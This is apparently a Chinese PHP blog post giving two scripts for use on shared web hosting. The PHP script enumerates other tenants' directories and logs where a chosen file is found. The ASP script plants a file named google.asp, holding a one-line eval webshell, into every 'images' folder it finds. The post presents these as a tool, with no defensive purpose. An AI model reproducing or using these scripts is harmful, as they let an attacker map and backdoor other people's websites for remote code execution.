php一个找二层目录的小东东


Posted in PHP onAugust 02, 2012

php版

<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
}

asp版
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", ",") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, ",", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%>
PHP 相关文章推荐
PHP 和 MySQL 基础教程(四)
Oct 09 PHP
PHP中文件读、写、删的操作(PHP中对文件和目录操作)
Mar 06 PHP
PHP四舍五入精确小数位及取整
Jan 14 PHP
zf框架的registry(注册表)使用示例
Mar 13 PHP
从PHP的源码中深入了解stdClass类
Apr 18 PHP
ThinkPHP控制器间实现相互调用的方法
Oct 31 PHP
php判断文件上传类型及过滤不安全数据的方法
Dec 17 PHP
PHP使用curl制作简易百度搜索
Nov 03 PHP
Laravel 5使用Laravel Excel实现Excel/CSV文件导入导出的功能详解
Oct 11 PHP
laravel-admin的图片删除实例
Sep 30 PHP
PHP强制转化的形式整理
May 22 PHP
PHP实现限制域名访问的实现代码(本地验证)
Sep 13 PHP
PHP文章采集URL补全函数(FormatUrl)
Aug 02 #PHP
PHP服务器页面间跳转实现方法
Aug 02 #PHP
php中3des加密代码(完全与.net中的兼容)
Aug 02 #PHP
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
Aug 01 #PHP
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
Jul 31 #PHP
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 #PHP
php读取txt文件组成SQL并插入数据库的代码(原创自Zjmainstay)
Jul 31 #PHP
You might like
swfupload 多文件上传实现代码
2008/08/27 PHP
利用Ffmpeg获得flv视频缩略图和视频时间的代码
2011/09/15 PHP
Notice: Trying to get property of non-object problem(PHP)解决办法
2012/03/11 PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
2012/05/16 PHP
php文件上传后端处理小技巧
2016/05/22 PHP
动态加载js的几种方法
2006/10/23 Javascript
JavaScript 事件参考手册
2008/12/24 Javascript
基于jQuery的表格操作插件
2010/04/22 Javascript
如何让页面在打开时自动刷新一次让图片全部显示
2012/12/17 Javascript
关于javaScript注册click事件传递参数的不成功问题
2014/07/18 Javascript
node.js中的http.response.writeHead方法使用说明
2014/12/14 Javascript
封装好的一个万能检测表单的方法
2015/01/21 Javascript
zepto.js中tap事件阻止冒泡的实现方法
2015/02/12 Javascript
JavaScript函数的一些注意要点小结及js匿名函数
2015/11/10 Javascript
AngualrJS中的Directive制作一个菜单
2016/01/26 Javascript
Jquery+ajax+JAVA(servlet)实现下拉菜单异步取值
2016/03/23 Javascript
AngularJS模块详解及示例代码
2016/08/17 Javascript
怎样判断jQuery当前元素是隐藏还是显示
2016/11/23 Javascript
Node.js与Sails redis组件的使用教程
2017/02/14 Javascript
vue计算属性时v-for处理数组时遇到的一个bug问题
2018/01/21 Javascript
vue2.0实现列表数据增加和删除
2020/06/17 Javascript
[00:36]我的中国心——Serenity vs Fnatic
2018/08/21 DOTA
Python 递归函数详解及实例
2016/12/27 Python
Python reduce()函数的用法小结
2017/11/15 Python
PyQt5每天必学之切换按钮
2020/08/20 Python
python读取有密码的zip压缩文件实例
2019/02/08 Python
Django 多环境配置详解
2019/05/14 Python
python实现网站用户名密码自动登录功能
2019/08/09 Python
通过selenium抓取某东的TT购买记录并分析趋势过程解析
2019/08/15 Python
在pycharm中配置Anaconda以及pip源配置详解
2019/09/09 Python
html5 postMessage前端跨域并前端监听的方法示例
2018/11/01 HTML / CSS
厂长岗位职责
2014/02/19 职场文书
请假条范文大全
2014/04/10 职场文书
goland设置颜色和字体的操作
2021/05/05 Golang
详解非极大值抑制算法之Python实现
2021/06/28 Python
Python中的变量与常量
2021/11/11 Python